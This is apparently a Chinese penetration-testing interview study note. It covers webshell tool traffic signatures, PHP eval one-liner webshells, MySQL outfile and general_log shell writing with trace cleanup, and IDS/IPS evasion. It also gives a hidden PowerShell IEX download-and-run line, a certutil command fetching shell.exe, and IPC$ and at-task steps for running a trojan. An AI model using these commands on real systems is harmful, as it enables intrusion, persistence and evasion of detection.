面试复习二


Shell工具的流量特征

冰蝎2.0

  使用AES加密 + base64编码,AES使用动态密钥对通信进行加密,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
  因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎。
  Content-Length: 16, 16就是冰蝎2连接的特征

冰蝎3.0

  取消了2.0的动态获取密钥,使用固定的连接密钥
  在冰蝎中,任何请求,最终都会调用Utils.getData函数,对请求的参数加密。对于上传文件,命令执行来讲,加密的参数不定长。但是对于密钥交互,获取基本信息来讲,payload都为定长,且无随机padding。
  webshell连接密码的MD5的前16位,默认连接密码是”rebeyond“(即密钥是md5('rebeyond')[0:16]=e45e329feb5d925b)
  3.0连接jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream

冰蝎4.0

  v4.0版本不再有连接密码的概念,自定义传输协议的算法就是连接密码。
  Accept字段(弱特征),通常是Accept: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件,但最倾向application/json 和 text/javascript。
  Content-Type字段(弱特征),通常是Content-type: Application/x-www-form-urlencoded
  连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。
  使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection:Keep-Alive
  固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
  默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,与冰蝎3.0相同。
  默认连接密码仍然是rebeyond

哥斯拉

  采用了和冰蝎 2.0 类似的密钥交换方式。它的webshell需要动态生成,可以根据需求选择不同的加密方式。

静态特征

  在默认脚本编码的情况下,jsp会出现xc、pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征。

动态特征

  Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
  Cookie中有一个非常关键的特征,最后会有个分号。估计后续的版本会修复。
  响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
  请求包长度 52541
  以pass=“xxxx”开始请求包
  请求包较长,响应包为0
  一个tcp包里面有三个http
  一共6个http报文,3去3回

蚁剑

静态特征

  蚁剑中php使用assert、eval执行;asp只有eval执行;在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征。

动态特征

  我们使用一句话木马上传webshell,抓包后会发现每个请求体都存在以@ini_set("display_errors","0");@set_time_limit(0)开头。
  并且响应体的返回结果是base64编码发混淆字符,格式为:随机数 结果 随机数。
  参数名大多以“_0x…..=”这种形式(下划线可替换为其他)所以,以_0x开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征。

菜刀

  菜刀使用一句话木马,特征十分明显,在PHP、ASP、ASP.NET的网站都可以:

PHP:  <?php @eval([$_post['test']]); ?>
ASP:  <% eval request("test")%>
ASP.NET:  <%@ Page Language="Javascript"%><% eval(Request.Item["test"],"unsafe");%>
动态特征

  payload在请求体中,采用url编码+base64编码,payload部分是明文传输
  payload中有eval或assert、base64_decode这样的字符。
  payload中有默认固定的&z0=QGluaV9zZXQ…这样base64加密的攻击载荷
  参数z0对应$_POST[z0]接收到的数据,且固定为QGluaV9zZXQ开头。
  进行base64解码后可看到代码:@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);这段意思是首先关闭报错和magic_quotes,接下来去获取主机的信息。

常见的解析漏洞

PHP常见危险函数

  1. eval()
      eval()函数就是将传入的字符串当作 PHP 代码来进行执行。
  2. assert()
      如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
  3. call_user_func()
      第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

phpmyadmin拿webshell

select into outfile直接写入

利用条件
  1. 对web目录需要有写权限能够使用单引号(root)
  2. 知道网站绝对路径(phpinfo/php探针/通过报错等)
  3. secure_file_priv没有具体值
    show global variables like '%secure%';
    查看当前设置
      1.当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
      2. 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
      3. 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
      在MySQL的配置文件my.ini中进行配置
    
利用过程
  1. 写入一句话木马
    select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php'
    这里需要注意的一个点是路径需要用”\“
    

利用全局日志写shell

利用过程
  1. 查看配置
    SHOW VARIABLES LIKE ‘%general%
    查看mysql的日志状态,默认是关闭的
    general_log_file为日志保存的位置
    
  2. 开启general_log模式
    set global general_log = on;
    记录用户输入的每条命令并保存在 C:\phpStudy\MySQL\data\stu1.log 的文件中
    开启general_log之后把general_log_file的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用
    
  3. 修改日志目录为shell地址
    set global general_log_file='C:\\phpStudy\\MySQL\\data\\shell.php';
    
  4. 写入shell并连接利用
    select '<?php eval($_POST[cmd]);?>'
    
  5. 抹除痕迹
    set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log';
    set global general_log = off;
    SHOW VARIABLES LIKE '%general%'
    

IDS/IPS绕过思路

  入侵检测系统 (IDS) 和入侵防护系统 (IPS)
  与防火墙相似,IPS 内嵌部署到流量中。IPS 是一个主动的网络组件,会检查每个通过的数据包,并根据其配置和策略采取正确的补救措施。相反,IDS 是一个被动组件,通常不会内嵌部署,而是通过 SPAN 或 TAP 技术监控流量,然后发出通知.

IPS阻断场景

  1. 可以建立TCP连接,检查客户端发出的HTTP请求中的特征,如匹配则发rst阻断或HTTP响应替换,用于域名封禁或Web攻击防护;
    在应用层,一般利用IPS和Web Server对HTTP语法的理解差异
    在网络层,一般利用IPS和操作系统协议栈对TCP/IP的处理方式差异
    
  2. 不让建立TCP连接,即客户端发syn包时IPS直接回rst,同时后续如有ack包会双向回rst阻断,用于访问控制或端口封禁;
    暴露面比较窄,绕过会困难一点,但也不是不可能
    
  3. DNS查询场景,伪造DNS响应,劫持网站域名用于封禁或者钓鱼攻击;
    换个DNS Server就行了
    
  4. UDP传输场景下,伪造ICMP响应,告知客户端UDP端口不可达。
    阻断UDP访问
    

绕过思路

  1. TCP分片
      一些IPS是字节级逐包检查的,并没有实现TCP分片重组能力,那就把关键字拆到两个TCP包里面就可以暗度陈仓。
      有的IPS虽然有TCP分片重组能力,但是超时就不会再检查了,所以设置这个sleep的时间超过IPS的分片重组超时值而又没有达到操作系统和Web Server的超时值,那就可以绕过。
  2. IP分片
      构造IP包就需要用到Python下的组件Scapy,TCP三次握手后用Scapy的fragment函数按600字节一个拆分发送IP分片包(当然也可以把syn包也分片)
      但是实测有些路由会丢弃MTU比较小的IP包。
      nmap有一个规避FW/IDS的功能就是利用IP分片进行端口扫描,参数是-f,可以用–mtu设置分片大小,最小的值是8。
  3. DOS攻击
  4. 伪造TCP状态(fuzz)
      基于状态跟踪的IPS ———— 简单测试检测模式,不建立TCP连接直接发HTTP请求,如果还有响应的IPS就是包过滤,反之则是状态跟踪。
      建立TCP连接后,我们可以发送一个定制TTL值的rst包,这个TTL值正好能够经过IPS但不会到达服务端,IPS基于状态跟踪会认为这个TCP连接已断开,后续的各种包都不会去检测,但服务端不受影响会继续等待ack包来。
  5. IPv6绕过
      正在服役的IDS/IPS/WAF不一定支持,于是可以畅行无阻。

Redis getshell

Linux

  • 通过向Web目录中写webshell的方式进行getshell
  • 通过写SSH key的方式进行getshell
  • 通过写corntab的方式进行getshell

Windows

  • 利用powershell反弹shell
  • 利用mshta.exe

Log4j漏洞原理

  主要原理是利用log4j2的日志输出jndi远程对象时,调用远程对象没做检查导致。
  当用户浏览器注入变量,后台应用程序对变量做了日志输出就会发生远程对象的调用,远程对象又没有经过检查,直接在我们的应用程序中运行。

数据库利用姿势

Windows远程文件下载

PowerShell

Invoke-WebRequest -Uri 目标url -OutFile 目标文件位置

powershell (new-object System.Net.WebClient).DownloadFile('目标文件地址','保存路径文件名')

远程执行命令:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('目标文件地址'))"

Bitsadmin

  BITSAdmin用于创建、下载和上传作业,监视其进度。Windows7及以后的系统自带BitsAdmin工具。

bitsadmin /transfer test http://192.168.1.1:8000/1.txt c:\users\mytools\a.txt 
// 创建一个名为test的bitsadmin任务,从192.168.1.1:8000下载1.txt,保存为c:\users\mytools\a.txt

Certutil

  Certutil 是Windows自带的命令行工具,用于备份证书服务,由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。
  目录为:%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

certutil -urlcache -split -f http://192.168.1.1:8000/shell.exe c:\users\public\shell.exe 
//从192.168.1.1:8000下载shell.exe到本地c:\users\public\目录下

wget

wget -b -O filename http://example.com默认覆盖文件

ipc$文件共享

  IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
  漏洞利用条件:
  目标主机开启了139和445端口
  目标主机管理员开启了ipc$默认共享


net use \\DC的IP\ipc$ "password" /user:"username"   //连接主机
net use                             // 查看当前主机所建立的连接
dir \\ip\c$                         //查看主机目录
copy 本地文件地址 \\目标\c$         //传输恶意文件
tasklist /S 主机 /U 用户 /P 密码    // 查看目标主机进程
net use \\IP /del /y                //删除ipc$

>>建立 IPC 常见的错误代码:
5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 
51:网络问题,Windows 无法找到网络路径
53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有 防火墙等问题
67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
1326:账号密码错误
1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
2242:用户密码过期,目标有账号策略,强制定期更改密码

at计划任务

Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建一次性计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。

copy 本地文件地址 \\目标\c$   //传输恶意文件
at \\ip 18:53:00 c:\shell.exe   //创建计划任务,让目标主机DC在指定的时间运行木马
at \\ip 任务ID /delete   //删除任务

手工判断靶标站点是Windows/Linux

  1. 大小写检测:Windows大小写不敏感,而Liunx大小写敏感
  2. PING指令: 根据TTL值,Windows一般情况下>100、Linux则<100

常见危险函数

常见脆弱服务端口

正反向shell

正反向代理

后记

  看完这两天的面试题之后发现关于网络通信的部分实在是太重要了,基本功还不是很牢固,要多加学习。


评论
  目录